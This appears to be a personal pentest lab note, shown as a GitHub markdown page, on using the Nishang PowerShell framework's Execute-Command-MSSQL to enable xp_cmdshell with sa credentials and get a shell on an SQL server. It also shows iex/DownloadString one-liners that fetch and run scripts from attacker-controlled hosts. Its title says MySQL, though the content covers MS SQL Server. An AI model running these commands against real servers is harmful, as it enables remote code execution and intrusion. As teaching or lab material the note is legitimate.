Skip to content

Latest commit

 

History

History
81 lines (45 loc) · 2.31 KB

45-Exploitation-Executing-Scripts-on-MySQL.md

File metadata and controls

81 lines (45 loc) · 2.31 KB
Raw

45. Exploitation: Executing Scripts on MySQL

Install SQL Server
Execute-Command-MSSQL
PS C:\Users\Administrator\Desktop\nishang-master> Import-Module .\nishang.psm1
WARNING: The names of some imported commands from the module 'nishang' include unapproved verbs that might make them less discoverable. To find the commands with unapprov
command again with the Verbose parameter. For a list of approved verbs, type Get-Verb.
WARNING: Some imported command names contain one or more of the following restricted characters: # , ( ) {{ }} [ ] & - / \ $ ^ ; : " ' < > | ? @ ` * % + = ~
PS C:\Users\Administrator\Desktop\nishang-master>
PS C:\Users\Administrator\Desktop\nishang-master> Get-Help Execute-Command-MSSQL -Examples

NAME
    Execute-Command-MSSQL

SYNOPSIS
    Nishang payload which could be used to execute commands remotely on a MS SQL server.

    -------------------------- EXAMPLE 1 --------------------------

    PS>Execute-Command-MSSQL -ComputerName sqlserv01 -UserName sa -Password sa1234







    -------------------------- EXAMPLE 2 --------------------------

    PS>Execute-Command-MSSQL -ComputerName 192.168.1.10 -UserName sa -Password sa1234







    -------------------------- EXAMPLE 3 --------------------------

    PS>Execute-Command-MSSQL -ComputerName target -UserName sa -Password sa1234


    Connecting to target...
    Enabling XP_CMDSHELL...
    Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): P
    Starting PowerShell on the target..
    PS target> iex ((New-Object Net.Webclient).downloadstring(''http://192.168.254.1/Get-Information.ps1''));Get-Information


    Use above to execute scripts on a target.


PS C:\Users\Administrator\Desktop\nishang-master>
PS C:\> iex (New-Object Net.Webclient).DownloadString("http://10.0.0.129:8000/log.txt")
Contents of file
PS C:\>
  • log.txt file contents
http://10.0.0.129:8000/log.txt

"Contents of file"